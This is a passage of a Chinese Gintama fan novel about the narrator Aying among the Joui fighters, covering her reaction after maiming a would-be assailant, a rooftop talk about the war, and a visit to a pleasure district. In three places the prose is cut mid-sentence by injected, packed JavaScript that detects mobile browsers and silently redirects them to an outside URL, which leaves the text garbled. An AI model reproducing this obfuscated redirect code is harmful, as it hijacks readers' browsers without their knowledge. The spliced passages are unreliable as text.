对哦,他当然说不出话,因为舌头还躺在我被窝边上呢,谁叫他当着我的面伸出来恐吓我呢,顺手就割了。 “交给我吧。这种渣渣……我不会放任这种事在队伍里发生。”高杉俊脸阴沉得如同烧焦的锅底,走到那人后面,盯着我道。 我没有看他,也没有说话,只是垂眸看着那个看到高杉仿佛看到救星般眼底一亮的男人,讽刺地勾起唇角。想要刀人的心剧烈跳动,那种彷如夜兔本能觉醒的暴虐在我脑海里不断翻滚,握着我手腕的力度却让人无法忽视。 “阿萤,我会正军纪,不会有下一次……我保证。”高杉深深地看我一眼,挥手让人把那人押下。 我不置可否,慢慢放下拿着小美的手。垂眸看着自己的手腕,哪怕他握着,我依然抑制不了自己的手一直在颤抖。 很奇怪,我告诉自己不用害怕,这种事在昔日卧底时也遇到过。现在情况比当时好太多了,我有能力保护自己……可是为什么,我的心跳躁动是因为杀意,身体却不受控制地恐惧。 银时把我的小美拿开丢给桂,拉着我转身离开。 我还没回过神,愣愣地跟着他,也不想管他带我去哪里。 直到冰冷的河水湿润我的手,我才收回散唤的思绪,眨了眨眼适应还不到破晓的夜色。 那头银白发在夜色中依然醒目得让人安心,他低着头蹲在河边,很认真地给我清洗手上沾到的血迹,连指缝间也轻柔地搓洗。 我看不清他的表情,但浑身散发的骇人气势跟方才高杉很像。 我们都没有说话,我是不知道说什么,毕竟该得到安慰的是我好吧。这种时候不是应该好好安抚我,然后我只需要沉默和表现柔弱就可以了吗? 方才的恐惧和杀意都沉淀下来,我已恢复平静,反倒是眼前人看起来比我还要阴沉。叹口气,我低下头,看着他的手,忽然发现这家伙看着壮,但他的手……意外的好看。 骨节分明,手指纤长,掌心有着薄茧但指腹还算柔软。手掌厚实,单看纤细却轻易地密密包住我整只手。看起来像是大号的姑娘玉手,十分秀气,握刀砍人的时候却那么有力……还有刚才握着我手腕也很用力,隐约都红了一圈。 “……会回去的。” 发散的思维顿时收回,我愣愣地抬眸看着他,没听清他的话。 “等把松阳带回来,我们就回去……回我们的家。”他认真地洗干净我的手,偏头看着我,如同许诺般低声道。 那一刻,我的心底骤然涌起一片酸楚。 那是一个只有我知道不可能的承诺,因为他们的未来没有松阳,也没有重建的松下村塾,甚至可能很快没有我。 然而,我此刻却什么都不能跟他们直言,因为那个未来对我而言也有太多的未知,我甚至不知道如今在这里是否能改变未来。 可是他的意思我明白,回到家里,便不会受到任何伤害。无法保护家人的愧疚,他都记在心里,这份心意值得我全部的信任。 看着那双没有丝毫玩笑,温柔认真的眸子,我慢慢勾起唇角,露出他熟悉的笑容。 “好。” 尽管16岁的坂田银时说到不能做到,但那是命运和时代的错,不能怪他。这个承诺我要是能回到未来,总有一天会连本带利地讨回来。 伸出手,揪着他的衣襟,我笑着猛地给他一个头槌。 猝不及防的天然卷顿时两眼一翻,他脸上那种让人窒息的愧疚也悄然散去,我爽快地放开他,“银时,男人的承诺,死都要做到哦~” “混……混蛋……你头太铁了吧……”差点被我撞晕的人干脆地一头砸进河里。 回到府邸的时候,天色已经开始发亮。 没有去管处理的结果,我安慰了自责得快要跪在我面前的明里,交代她小心安全。她悄悄地告诉我,之前也有人打医疗队妹子的主意,是高杉几人铁血镇压几次才安静下来的。话里话外都是暗示我,交给高杉一定不会有问题。 我笑着点头,悄悄跟她说我也觉得高杉他们会比我更残忍对付那人。妹子愣了一下后,捂着嘴会意地笑眯了眼。对这种人渣,每个女人都不会同情。 一路上不少人偷偷地看我,当我望过去的时候,几乎全部人都下意识地捂着重点。 我撇撇唇,维持着高冷的表情。 不错,效果挺好的。长官说过,有些杀鸡儆猴的事,一定要做得彻底,教训不痛就不叫教训。 “阿月~” 我抬起头,看到辰马坐在大门槛的屋顶上朝我招手。犹豫了一下,我走了过去,顺着他的手轻巧地翻身上去。 “你还好吧?”辰马刚才不在,他代替受伤的我去负责补给的安排了。灰蓝色的眸子光明正大地打量着我,见我脸色如常才笑着揉了揉我的头。 “不好的是其他人才对吧。”我嘿嘿笑道,方才黑子他们过来关心我的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他的神情非常认真,眉宇间全是坚毅,眼神里头的浩然正气让人由衷地信服。 坂本辰马双手撑在身后,大长腿随意地曲着,悠然地笑道,“假发啊,这个可不容易哦……现在的形势也不怎么乐观。” 这是大家都知道的现实,攘夷之战打了这些年,幕府的态度越来越消极,进犯地球的天人越来越多,有些地方甚至已经是天人来主导了。如今的攘夷战争,全靠年轻人在支撑,可是这样的大时代趋势下,还能坚持多久? “辰马,我从来不觉得和平能以小部分人的战争换取……这条路还很长呐。”我垂眸,笑着安慰他。 每一个时代的开创,都是无数的人前赴后继经营出来的,只有大众思想的革新才能开辟新时代。 “阿月,你留在战场只是因为他们吗?”坂本辰马好奇地望着我,“还是也想要看到这个国家的黎明?” “我才没有那么伟大的抱负,我只是想回家罢了。”我和桂对视一眼,笑着躺在屋顶上,枕着双手看满天繁星。 如果不能回去我的世界,那希望能回去松下村塾吧,有温柔的松阳和无忧无虑三小只的那个家。如果都不行,那就再陪他们一段时光,在那个人再次出现。 “国家,黎明什么的,我根本不在乎。辰马,我本就是生在朝阳中,长在阳光下的人,黎明什么的我不需要。我来到这里只能说是命运的安排,但有人从小就告诉我,无论在什么环境都不需要害怕,认清自己目标,带着笑容去努力达成就行了,我想要的一定就在前方。” 对,从小我妈咪就是这样跟我说的。生命在于折腾,反正都不能活着离开这个世界,那么就努力地折腾吧,无需惧怕任何变化,总有一天会觉得活着实在太好玩了。 “啊哈哈,那一定是个很厉害的人。但,怎么说呢,”辰马低头擦着自己的刀,平时敞亮的大嗓门难得低沉起来,“也许前方,我们的敌人不是天人,而是……要是这样的话,这场战争还有意义吗?” 桂沉默了,他自己对局势那么关注,肯定也有这种忧虑。就如我很清楚,回不去那个家一样,他也很清楚黎明不会那么容易到来。 从我的角度,可以分明地看到这两个少年脸色的沉重,还有眼底那抹对信仰的迷茫。砍杀天人,捍卫国家也好,为了重要之人而奋起反抗也好,一旦时局幻变,最后他们所做的一切可能会被扭曲成时代的罪人,就如同松阳的理念被歪曲为结党谋反一样。那样的话,时代加诸在他们身上的罪名,可能一生都无法洗刷。 可是,他们在乎么?这种可笑的东西。 “我第一次杀人……是为了保护一个小女孩。明明是做了好事,我也没有犹豫,可还是吐了好几天。后来一段时间每次想起那个人死前的怨恨目光都很想吐,但我的长官跟我说不用后悔,也不需要害怕。因为我,那个小女孩得到了原本没有的新生和未来。”我看着自己的手,白皙纤细,掌心因这段时间而起了茧,显得有力,“人生就是不断在做选择题,想做就果决地做,想逃避就不要回头,不干不脆反而更痛苦。” 慢慢地握拳,我翻身起来伸了个懒腰,慢悠悠地道,“意义什么的……我没那么深奥的想法。单凭个人的话,能把身边重要的人保护起来已经很艰难了。但辰马,假发,我相信时代会发展变迁,生命会自己找到出路的。人类发展这么多年,不会甘心被天人统治或者灭绝。也许路还长,但一定会天亮的。所以,放心吧假发,你说的黎明一定会到来。” 先有人,再有国,人们的奋起不会被一些上层的阴谋毁灭,无数先辈和人类历史早就告诉我们希望了。 “不是假发,是桂。”桂一扫方才的黯淡,双眸如天上的星辰璀璨,“黎明会有的,而且,不会让你等太久。” 我淡淡地别过头,不想说十年后我们初见时江户到底是怎样奇怪的景象。 人啊,还是留点希望吧,也许未来改变了呢。 “啊,日出了。”辰马看着远方骤现的晨光。 光芒耀眼,洒落在我们身上。 我笑着伸了个懒腰,“我讨厌这个时代,也不喜欢这个世界,但是……我很喜欢你们。” 眼前的两个少年,坐在下面难得安静的两个笨蛋,还在休息的同伴,不知道在何方的大人。 这是我留在这里的原因。 39.战场上的日常 十分的奇怪,那事之后,军中的人反而跟我更熟了起来。不但鬼兵队的人看我的眼神亮晶晶的,连桂那个队伍的人看我的目光都带了点隐晦的敬佩。 大家……都是抖M体质吗? “别做无聊的脑补好吧……”听到我把猜测说出口,银时蹙着眉头瞪了那些汉子一眼,把一件干净的白袍朝我兜头罩下。 “你才做无聊的脑补……别挡着我看风景。”我把白袍拿下来,随意披上。 “喂喂,别偷看了,你不是说对肌肉男失去兴趣了吗?”银时按着我的发顶扭过去,脸色差得活像我做了什么过分的混事。 “多看几眼就重新燃起兴趣了。果然,女人还是要多看这些美景来激励自己。”我甩开他的手,再看向几个脱掉上衣在练剑的男人。 不愧是武士,这身材真好。 “你已经看了很多眼了!”银时一脸的嫌弃。 “看两眼怎么了?犯军纪了吗?抓我啊。”我才不怕他,就这么点兴趣都不能顺心的话,人生还有什么期待? “谁要这种期待啊混蛋!别老是把想法说出口。” “说实话,你不是一直觉得我一个女人在前线不太好,要不我还是跟明里一起待在医疗队吧。”我认真地跟整个人挡在我眼前的人商量。 “你就是想每天看别人的身体吗?”银时挖着鼻孔,不屑地道。 “你怎么可以这样想我,那是很专业地处理伤口!你平时穿着衣服包扎的吗?”我鄙视他的黄色想法,简直亵渎了神圣的医疗工作和纯洁的我。 “别狡辩了,阿银太了解你了……”他随手把鼻屎楷我肩膀,我脸色顿时大变,飞快还他一脚,把肩膀上的证物蹭回他衣服上。 “滚,我是那种人吗?我现在更喜欢妹子不行吗?”确实,我有点想念神乐那个委屈巴巴的小可怜。 哥哥神威出走,妈妈过世,老爸在外不回家,她一个每天面对空荡荡的家多无助?唉,她能不能也跳跃一下,直接去到14岁? “那就更不行啊,医疗队那边除了明里还有其他妹子,你别过去丢人现眼。”银时没辙地把我拖起来,“走吧,高杉找你。” “他找我怎么他不来?”这里也很适合谈话啊,风景还不错的说…… “别污染风景这个词啊混蛋!” 等我们打闹着去到屋后,便看到高杉和一个高个子在说话,高个子的身边是一个穿着和服的娇俏小姑娘。 “啊,良子~”看清小姑娘的样子,我眼前一亮跑了过去。 “阿萤姐~”良子扑过来抱着我,笑容灿烂,“好久不见了。” 高杉和银时没眼看地捂脸。 石川城后我和良子便没见过面,我听辰马说过她被藏了起来,等风头过了之后再做打算。 “阿萤,这位是鬼兵队的三郎,就是之前跟你说过的精通机械的高手。”高杉指着高个子男子,介绍道。 情景转换,我们几个坐在房间里,三郎围着我转了几圈,啧啧称奇。 “三郎,她不是机械人,是人类,你再看也不会让你拆开研究的。”高杉看不下去,提醒他赶快进入重点。 “不,”三郎摸着下巴笑了笑,眼里尽是热忱,“我听你说过她的事。我原本以为,那几年她就像是机械人被按了off键,然后又被坂本队长按了on键。但如果她的时间依然停止的话,那就是她的身体一直处在待机期间。” 我们面面相觑,基本没听懂。 “可以正常加油和消耗,内部零件没有任何问题,但却没有耗费使用寿命。太难得,要是可以研发这类型的机器人,一定能有大作为。”良子一双眸子闪闪发亮,眼中是跟三郎别无二致的热情。 自从离开父母后,她对科技的研发兴趣得到极大的提升,已经不仅仅局限于武器,开始往科学怪咖的方向发展了。 “喂喂,这可不是开玩笑的……”银时戳了戳我的脸蛋,“这家伙怎么看也不是机器人。” 我转头就咬,痛得他眼泪都飙出来了,高杉和桂连忙抓着想扑过来开揍的他,三人默契地小范围混战。 “啊哈哈,不是说阿萤小姐是机器人,而是她的情况……”三郎搔搔头,不好意思地想要解释。 “stop,我是人类谢谢。而且这个与我无关,我想要的是修好怀表。”我举手争得发言权。 “那个我和良子已经在拆解了,这个动力有点难制造,还缺一些零件,等采买后便可以试试。” “真的吗?太好了。”想起什么般,我忽然很认真地看着他们,“记着,修好后不要按那个按钮,那个很重要……” 按了那个按钮,就会倒数,到时候还不知道我会去哪里。现在还有要做的事情,我不能就这样消失在这个时间点。 三郎和良子好奇地对望一眼,点了点头。 领了餐食,我和桂打算找个地方边聊边吃,才刚踏出大门,便看到银时和高杉一前一后鬼鬼祟祟地往林子里去。 “他们要约会吗?还偷偷地去这么见外?”我挑眉嘿嘿一笑。 “阿萤这话你有胆子在他们面前说一次吗?”桂摸着下巴很是期待。 好吧,我没有……主要是打不过。 我们对望一眼,把饭团塞进怀里,不约而同地踮起脚跟了过去。 银时和高杉两人举着树枝蹲在树丛里,小心翼翼地朝一个方向看去。我和桂无声无息地靠近,0秒出手,非常有经验地捂着他们的嘴。 做贼心虚的两人吓得不轻,所有尖叫被捂得死死的,差点连呼吸都被截断。好不容易顺过气后,我们趴在他们头上,拿树枝挡着脸看过去。 “你们到底在看什么啊?”好像有两道身影朝这边慢步而来。 “嘘!”银时两人齐齐伸手捂着我和桂。 没多久,明里纤细的身影出现在那边,她小跑着从林子里冲出来。紧接着,齐藤也跑了出来,几个迈步一把抓住了明里的手。 我们四人同时瞪圆了眼,四个头颅凑到一起,目光炯炯地望着那两个身影。 “放开我……”明里的嗓音带了明显的哭意,挣扎着要甩开齐藤的手。 敢弄哭我们家的女孩子?我登时怒了,直起身就想要冲出去。 三只大手有志一同地按在我头上,一把把我按进树丛里头。 那边的两人没注意到这边的骚动,齐藤低着头,沉默了好一会才放开明里的手,“对不起……我……” “你什么都不用说……是我的问题,我不应该跟你说的。”明里咬了咬唇,强装着笑容抬头看着他,“可是……那晚我差点就死了,若不是阿萤姐救了我,我一想到如果死了,什么话都来不及说就很难过。” “明里……”齐藤一脸无措,两手乱晃。 “这里是战场,我很清楚的,但是……我还是想要在活着的时候告诉你,齐藤君,我很喜欢你。你是我除了老师外,留在这个战场的原因。”颤抖的手紧紧握着自己的衣服,明里任由泪水低落,连声音都发颤。 齐藤看着她,一脸的愧疚,“对不起……明里……我实在……” “你什么都不用说,喜欢你是我的事。不需要你回应,我只是……害怕没有机会说而已。”明里朝他用力鞠躬,转身便跑开,留下齐藤一个人呆立在原地。 树丛轻动,齐藤目光看了过来,我们四人冷汗潺潺地躲在树丛里不敢动。 正当我们以为他要过来时,一脸阴郁与苦大仇深的他却往另一边跑了。我们八目相对,慢慢地原地坐下,揉了揉发麻的腿。 “真没想到……明里那丫头这么勇。”桂摸着下巴,一脸敬佩,“敢直面自己的内心,不愧是老师教出来的学生。” “不是这个问题吧,那明显就是单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15077524|158775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恋啊。”银时挖了挖耳,撇撇唇,“没眼光的小子,明里虽然是个飞机场做饭也不好吃,但好歹是个女孩。” “你这样说的话一点也没抬高明里啊。”高杉俊脸微黑地给他一个肘击,他对自己的同学还是多了一份爱护的。 “不是单恋哦~”我露出福尔摩斯破案般的表情,推了推鼻梁上不存在的墨镜,“齐藤这小子绝对是喜欢明里的,瞒不过我的双眼。” 齐藤那种表情,明显就是有苦衷,大概率很狗血,读过无数本言情小说和看过多部爱情剧的我一眼就看出来了。错不了的,这种虐恋后追妻的桥段。 “已经拒绝了好吧。”银时受不了地伸出两只手指做了个戳瞎我双眼的动作,“接受现实吧。” “男人的矫情而已,要赌吗?”我咧嘴一笑,信心十足。 “谁要赌这种无聊的东西啊?” “以你的一张卖身契为赌注~”我竖起一根手指。 “赌!老子一定要赢回我的人生!”银时一秒燃起来。 “银时,你的人生已经输得很彻底了,别挣扎了。”桂好言相劝,“在沼泽里越挣扎只会整个人都被淹没的,就像上次你差点被埋进枯水的泥塘里。” “闭嘴,假发!”提起那事银时更生气了。 我和高杉也心虚地别过头,那次是我们踹他下去的,但他还不知道。 “不是假发,是桂!” “别说我站阿萤这边,你就是走狗屎运赢了,也还差别人两次人生。我看你就戒赌吧,本来就兜比脸干净了。再赌的话,你下辈子都还不清了。”高杉摇摇头,不忍直视他的愚蠢。 “说什么啊?矮杉君,”银时恼得扭曲,面容看起来贱兮兮的,装模作样地小声道,“你自己没有主见就算了,还说什么站阿萤,智商都补贴在制服上了吧,你们知道为什么这个小少爷他中二十足地给自己队伍取名鬼兵队什么的……” 高杉脸蛋微红,不忿地道,“鬼兵队的名字有什么不对吗?自己没文化就别献丑,你以为自己那身就好看吗?脏兮兮的人还老穿白色,生怕敌人看不到你似的。要不要看看你自己的小弟?啊,很自豪吧,有个小胖子仰慕你到要cos你的地步,不,那就是一个矮胖版的你吧。每天吃那么多糖,你早晚就是大号的百夜擦而已!” “什么小弟,那不过是个替阿银买炒面面包的跑腿粉丝而已,阿银这大长腿你是羡慕不来的,谁叫你高不过170呢……” “我还会长的,别嚣张啊混蛋,才区区7公分……一下子就能追上!” “那你倒是追啊,杵着不动是怎么回事?自己都不知道终点到了吗?昂~” “都说了别嚣张啊……还大长腿,有种砍下来量一下啊。你就是穿着白袍也不见得干净,身上鼻屎比敌人的血还多吧。” “矮子就认了吧,难道还想跳起来踢阿银的膝盖吗?诶,该不会膝盖都踢不到才杵着不动吧,哎哟你求一下,阿银屈膝迁就一下也不是不行哦~” “把你腿都打断……给老子去死吧你!” 两人额头顶着额头,谁也不肯让谁,各自蹦了一头十字路口。 我和桂没好气地拾起地上的竹刀,朝两人扔了过去,“打起来吧少年们~” 高杉和银时一人接过一刀,迅速地跃开摆出作战状态。 “啊哈哈,啊哈哈哈,你们在玩什么啊?”坂本辰马从后面冒出来,一手搭在我和桂肩膀上,“对打游戏吗?哦哦,打起来了……很燃哦~” 坏笑着把下巴搁在我头顶,辰马问道,“阿月支持谁啊?” 切,这就还想坑我? “上吧,我们家的男人绝不认输!”我一秒进入观众模式。不得不说,这两人现在的对打精彩多了,可惜桂现在不轻易跟他们动手。 “啊哈……辰马想要坑阿萤还差得远呢~”桂抱着手自信地笑道。 40.百合花遍地开 最近一段日子算是我来这里后最平静的了,大家都趁着这个时间休养生息。没有战事的时间过得有些无聊,军中不少人都开始到附近村落和城镇游走,连辰马他们晚上都偶尔找不到人。 我问了一下,结果他神秘兮兮地让我早点睡。 啧啧,瞧不起谁呢,附近的城里有条挺有名的花街这事我最早知道的好么。不就是逛花街喝花酒,有什么好神秘的。行军的男人每天面对杀戮与生死,能轻松的也就这么几个方式,我有什么立场质疑? 男孩子大了,总要释放一下天性吧……这年代的人比我这种和平时代要放得开,作为大人也应该理解。不过,作为大人还是要告诫一下。 “酒色是男人魅力的杀猪刀啊少年,即使是强如夜王也会变成一个被废柴大叔和女人打败的老人家……所以,记得做好安全措施!再开放妈妈我也不接受你们十七岁就当爸爸。”我正经脸扶着高杉的肩膀沉声道。 “呵,谁是妈妈啊……”高杉咧出冷戾的笑容,咬牙切齿地道,“说吧,是谁跟你胡说八道……老子现在就劈了他!” 高杉没好气地弹着我额头说他们就算去也只是喝酒而已,我直言有点浪费还被他训我思想不够正……好吧,少年大概是害羞了。 哎~进入十七岁的少年们都不对我说实话了。 反正建议给过了,我就丢开他们的事。现在比起他们,我更关心明里。那丫头自从跟齐藤不欢而散后,一直闷闷不乐的,有时候跟大家一起说笑也是经常走神。 “明里……明里?”被那双眼直直地看着良久,我忍不住伸手在她眼前摇了摇,招魂般喊道。 “诶?”被我吓了一跳般,明里瞪大眼看着我。 “发什么呆呢?我的茶杯都倒满了。”还好我没拿着,不然就烫手了。我下巴抬了抬,示意她看看桌面上满溢出来的茶水。 “啊!对不起!”明里连忙拿袖子去擦,“都怪我……” “停!”我伸手点着她的唇,“你在想什么呢?今天都神不守舍的。天还没黑呢,这么早就困了?” 明里咬了咬唇,欲言又止地看了我一眼,又默默地低下头。 直到那种诡异又带着祈求的小狗视线第十八次落在我身上时,我放弃抵抗了,“好吧,你想要做什么,我都可以考虑,只是考虑哦,但别再这样看我了。” 我不太能抗拒狗狗眼……那会让我有罪恶感。 明里咬着唇,慢慢挪到我身边,咬着我耳朵细声说了一句话。 “昂?” 我很少有震惊的时候,比如现在。 大红色的灯笼描绘着各种裸女和春宫图在半空上悬挂,把地上的一切照得敞亮,热闹的街道人声鼎沸,各式的摊位如同十年后的夏日祭典般丰富。与之不同的,是摊位都是些奇怪的物品和游戏,很少食物为主。 街上的行人大部分成双成对,衣着暴露的女子柔若无骨地靠在身边的男人身上,任由他们毫不掩饰地轻捏着自己的胸口和腰肢。含嗔带笑的媚眼流转,欲迎还拒地蹭着对方的身体,笑语不断。 也有穿着鲜艳和服的女人香肩微露地向路过的男子抛着媚眼,期盼对方为之驻足,一度春宵。 “哇哦……我还是第一次见识这种繁华。”一身简便男装的我满眼好奇地四处张望,这个叫游廓的地方堕落之美简直比吉原还要奢靡,连街上的人也开放好多哦。 “阿,阿萤……那个,我们还是走吧。”同样扎着马尾,穿着利落戎装的明里脸颊羞红,完全抬不起头般拉着我的衣角,声若蚊子般,“我不找了……” “那怎么行?你不是说齐藤有个非常重视的相好这里了吗?” 没错,明里听到齐藤有个心上人在这里当游女,就一直非常在意,百爪抓心后忍不住求我陪她来一遭。 她也不是想要拆散二人,只是想看看让齐藤拒绝她的女子而已。只要看一眼,她也许就能死心了。 我还是觉得齐藤看明里的眼神是喜欢她的,所以这其中可能有误会。本着来都来了的想法,估计也不可能有第二次机会,我决定好好逛逛这条繁华的街道。 “可是……我有什么资格去看她……”明里窘迫得快要哭了,“而且要是让晋助和银时他们知道我把你拉来这里,一定会杀了我的。” 也不知道她脑补了什么,脸色由红转白,慢慢转为青,看着就很恐怖。 “拜托,他们有什么资格管我?他们不也来了么?而且,我才是大人好吧。”我无奈翻了个白眼,定定地看着她,“抬起头来,明里。你其实是觉得齐藤喜欢你的,对吧。所以你才会想来,你不觉得那是他相好,而是他拒绝你的理由。看你那表情,我说中了吧。” 明里惊讶地抬眸望着我,愧疚地朝我鞠躬,“对不起,阿萤……我……” “不用道歉,我很期待这里呢。”我朝她眨眨眼,笑眯眯地拍拍她的头,“明里,我也觉得他喜欢你。所以,如果不想放弃的话,就去确认一下我们是不是对的吧。就算我们都猜错了,你也能放下这份心思。我知道,你从来都不是会钻牛角尖的孩子。” 迷惘的大眼慢慢褪去怯懦,明里蓦地一笑,坚定地点点头,“是,我知道了。” “哟西,那我们去打那个枪~据说奖品很吸引~”我指着那边几个游女搔首弄姿地吸引客人的摊位,兴致勃勃地拉着她过去。 “昂?”明里傻眼了。 那是一个放了一墙罐子的射击摊位,很多人围观,却没有一个男人能击中要求的数目。这个不出奇,我旁观了一下,因为那枪做了些手脚,瞄准器调弯了,而且现在的男人多用刀,擅长用枪的真的不多。 据现场人说,今晚只有一个少年击中了差不多一半的罐子,可惜因为朋友咋呼走了神未能成功。 “啊啦,这位俊俏的小哥是要试试吗?”妆容美艳的女人施施然地走到我身边,吐气如兰地低语。 “阿,阿萤……”明里看了眼对方汹涌的胸脯便红了脸,眼珠子都不知道怎么放。 “美人相邀,我可不忍心拒绝。”我扬了扬眉,勾唇轻笑,任由女人软软地靠在我手臂,“我倒是好奇,是什么样的奖品能让人如此疯狂。” 是的,疯狂,这个摊位的人数是其他的两三倍,围观的人也跃跃欲试。 “如果能打中一半,会得到我们店花魁的一夜。”女人软软地笑道。 哇,才一半而已。 我好奇了,“那我要是能全中呢?” “呵呵……”女人的娇笑跟身边男人的嘲笑同时响起,她指了指二楼依在窗边,风华绝代的女子,“那我们花魁纱织小姐会请小公子喝酒哦……” “什么酒这么厉害?”我下意识地想这个时代是不是有X台,或者莱伊XX龙舌兰等等。 女人靠近我耳边,轻轻吐了几个字,气息吹拂在耳廓上又苏又痒。她的话我没认真听,但那柔柔的语气让我鸡皮疙瘩全起来了,不由得挑眉感叹学到了。 “那么美的花魁,怎么能独自虚度良宵呢,就让本大爷就来喝这酒吧。”我甩了甩刘海,给明里一个安抚的眼神,大步走了过去。 指尖轻抚着造型如步枪比较旧款的滑膛枪,熟悉的感觉狂袭心头,那种志在必得的胜负欲翻涌,我眼神凌厉地看了眼对面的罐子。调试了一会,我眯起左眼,慢慢瞄准。 “go to hell,baby~” 扳指一拉,子弹应声而出,嘭地打翻了罐子。 声音里头有晃动,罐子有问题。 我看了眼一边的店员,轻蔑地笑了。 再次瞄准,开枪,正中偏角,应声而倒的罐子跌落地上,声音清脆。 “哇……好厉害,阿萤!”明里惊喜地叫道,随即被边上的人嘘了一声,她捂着嘴期待地看向我。 试了几下,大致熟悉了角度,我抬头朝那边的花魁笑了笑,“呐,姐姐和你的酒,今晚都是我的了。” 花魁闻言,红唇一弯,美得不可方物。 打小夜市玩出来的经验不是这里的人能想象的,我弹无虚发地把墙屠干净,笑得志满意得,重温了当年屠榜的乐趣。 “阿萤,太厉害了,你成功了!”等最后一个罐子落地,明里激动得跳了起来,尖叫着扑过来。 “哎呀马马虎虎啦,都是年少时玩剩的,不值得骄傲~”这里的商家有点奸诈但不多,比起夜市里头充不够气怎么打都不爆的气球,这些装了水的罐子好打多了。 “呵呵……小哥,今晚花魁和酒,都是你的了。”女人含羞带怯地抬眸看了我一眼,挺了挺胸脯,娇媚得让明里抵挡不住地退后两步。不屑地瞟了眼明里,女人执起我的手,按在她胸前。 “妾身……对小哥你也是一样钟情……若是可以,请让妾身一起伺候。”女人软语娇柔,媚眼如丝,引得围观的男人纷纷注目。 我的手被按在她胸前,软乎乎的触感让我惊叹,比我自己的软多了…… “呐,姐姐,我能……捏一下吗?”虽然有点冒犯,但我真的很好奇,捏她的跟捏我自己的有什么分别。 当然,我不是没摸过女人的,念书时常跟闺蜜们互掐,但这么大的真的没试过。 “当然。”女人眼神一亮,笑颜如花。 “special kick——” 手指还没来得及动,一声巨响传来,两只大脚丫就这样随着怒吼从天而降,踢在我后脑,我一下子埋进那片软绵绵暖呼呼白花花的东西里。 好,好软……原来跟自己的真的不一样……糟糕,鼻子好像有点热。 我还没好好感受,后脑忽然一痛,有人揪着我的马尾把我拉离那片温暖。 “你个男女不忌的混蛋,怎么,当了一年男人就连自己是什么都忘了吗?” 愤慨的怒吼从后面传来,我拍开那只手挽救了自己的头发,转头就看到高杉冷着脸抓着想要逃的明里,而那个一头银发穿着浅蓝色浴衣的天然卷抓狂地喷到我面前,揪着我的衣领一阵摇晃。 “自己有的东西还去摸别人的,你的节操呢?自己那么大的没感觉吗?要不要老子抓给你看啊!” “放手,那是我凭实力得的!而且人家姐姐乐意让我摸!”我一手推开他,因为来之前束胸了,我如今只能算略有起伏。 “好过分,怎么可能对我们的客人这么粗鲁?”被我胸袭的游女扶着我,面露谴责地瞪了银时一眼,随即轻柔地抚着我的后脑,“都要起包了……你怎么能这样对他?” 银时被她这样一说,气息一窒,又急又气偏偏又说不出话,颤着手指指着我们。 “没关系,我习惯了……”这点程度还真算不上什么。我笑着安抚着她。 “可是,妾身会心疼……这位小哥那么有力,妾身没用护不了你……请让妾身今夜温柔地安抚你。”女人目光盈盈地看着我,眼中柔情如水般。 “喂!”银时被她的眼神刺激到,忍不住抬手想要拍我。 “啊,好可怕……”游女浑身轻颤地伏进我怀中,头靠在我肩膀上,“这个人太可怕了,你别理他好么。” 香软盈满怀……我咳了一声,拍抚着她,挑眉看了眼表情僵硬又不爽的银时,“咳咳,你别那么凶,吓到这位姑娘了。” 银时指了指自己,又指了指我怀中的女人,一副哽住的样子,表情逐渐狰狞。 “客人,请不要因妾身而跟这位小哥起争执,都是妾身不好……您别怪他……”女人抬眸的姿态楚楚可怜,不说男人看到,就是我也想要替她教训一下对面那个跳脚的天然卷。 不愧是游女,这茶味好香……但她茶的是我……又莫名地觉得好爽…… “混蛋——”头上一痛,银时还是忍不住对我出手,揪着我的马尾把我拉开,“给老子清醒一点啊!她是个女的!” “痛啊白痴!”我清醒得很,他不就是没被茶不高兴么?明显是妒忌我! “客人……”女人瞪了银时一眼,朝我伸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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一只大手五指叉开地罩在我头上,指尖用力抓了抓,银时全脸阴影,只有一双眼迸发红光,“你个混蛋给老子去死一死吧——” “呜呜呜……痛死我了……妒忌,天然卷你们就是妒忌,居然对我下这样的毒手……” 我捧着头蹲在地上,桂苦笑着给我揉头上的包,明里缩在我身后不敢看他们。 现在我们离开了那个摊位,拐进一条没人的巷子,头上的灯笼晃晃的,照得我们的身影有几分朦胧。 我身后的墙身有一大个窟窿,那是我刚爬出来的。尼玛这几个混蛋把我踹墙里头了! 天然卷和矮杉你们完了,我要复仇,反正有蛋无你们,有你们无蛋! “少啰嗦,天然卷才是特征啊,你这种黑长直的设定已经跟假发撞款了!”银时翘着腿坐在一旁的木桶上,手撑在膝盖上高居临下地瞪着我,气呼呼的样子仿佛我做了什么伤天害理的坏事。 “他在气什么啊?我还没开始揍他呢……”不行,一抬头就痛,我抱着头问跟我一起蹲在地上的辰马。 “啊哈哈,啊哈哈哈,那个,金时弄那个枪连十发都没中,还有,刚才选游女的时候,他又跟高杉选了同一个,结果人家又选了高杉,他们直接在那打起来,然后一起被赶出来了……” 辰马还没说完就被银时和高杉一脚踹进墙里。 “6……果然是妒忌我。”我扶着头站起来,鄙视他们。 “够了,你们快回去”高杉没好气地瞪了我们一眼,“这里不是你们来的地方。尤其是你阿萤,别乱招惹些奇奇怪怪的人!” “可是……”明里咬牙,不敢反驳,只好偷偷瞄向我。 